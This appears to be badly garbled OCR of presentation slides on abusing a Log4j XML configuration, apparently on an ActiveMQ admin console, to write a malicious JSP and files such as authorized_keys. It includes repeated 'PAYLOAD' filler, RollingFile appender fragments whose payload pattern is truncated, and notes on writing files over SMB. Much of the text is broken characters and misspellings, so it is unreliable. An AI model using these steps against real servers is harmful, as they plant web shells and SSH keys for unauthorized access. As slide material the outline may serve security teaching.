« C (@ 127.0.0.1:8161/admin/maljsp

win'
win'
win'
win'
win'
win'
win'




I Caveman Continous Write Resullc Payload repeats ad
MOde infinitum

PAYLOAD PAYLOAD PAYLOAD PAYLOAD
PAYLOAD PAYLOAD PAYLOAD PAYLOAD
PAYLOAD PAYLOAD PAYLOAD PAYLOAD
PAYLOAD PAYLOAD PAYLOAD PAYLOAZ

PAYLOAD PAYLOAD PAYLOAD PAYLG;Q

PAYLOAD PAYLOAD PAYLOAD PAYL
PAYLOAD PAYLOAD PAYLOAD PAYg.C W

PAYLOAD PAYLOAD PAYLOAD PAYLU_ :J
PAYLOAD PAYLOAD PAYLOAD PAYLO ..)

5 .~-’c-




;. A X XML

{2T7\élj7\é| USRiéMaliciu

File

<?xml version encoding
<Configuration status packages
<Appenders>
< fileName
filePattern append filePermissions
max >
<PatternLayout>
<Pattern>
***TRUNCATED* **

</Pattern>
</PatternLayout>

<Policies>
<TimeBasedTriggeringPolicy />

</Policies>
</RollingFile>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>

nfi
S

ratiag Write
VAR

2 U



y v 4 4 oA o, nfigyrati rite e
a{ 2FAA20A O (SR ¢ vaiosSrembopp (i | |

File

fileName

filePattern append filePermissions
ma x >




y XML Tonfl atl Write

G{ 2FAA0AOF i SR £ wvaifusGhembeptn2 (1 |

<Pattern>
***TRUNCATED* **

</Pattern>



y v 4 4 oA o, nfigyrati rite e
a{ 2FAA20A O (SR ¢ vaiosSrembopp (i | |

File

<Policiles>
<TimeBasedTriggeringPolicy />

</Policies>



Tangent: Controlling File ( { luthbrized,_keys
Permissions mempe

<?xml version encoding
<Configuration status packages
<Appenders>
<RollingFile name
filePattern
append
<PatternlLayout>
<Pattern>

***TRUNCATED* * *

</Pattern>
</PatternLayout>
<Policies>
<TimeBasedTriggeringPolicy />
<SizeBasedTriggeringPolicy size
</Policies>
</RollingFile>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>




Tangent: Controlling File ( { luthbrized,_keys
Permissions mempe

<RollingFile name

filePattern




Write Files over SMB, FILE://l] windows ony



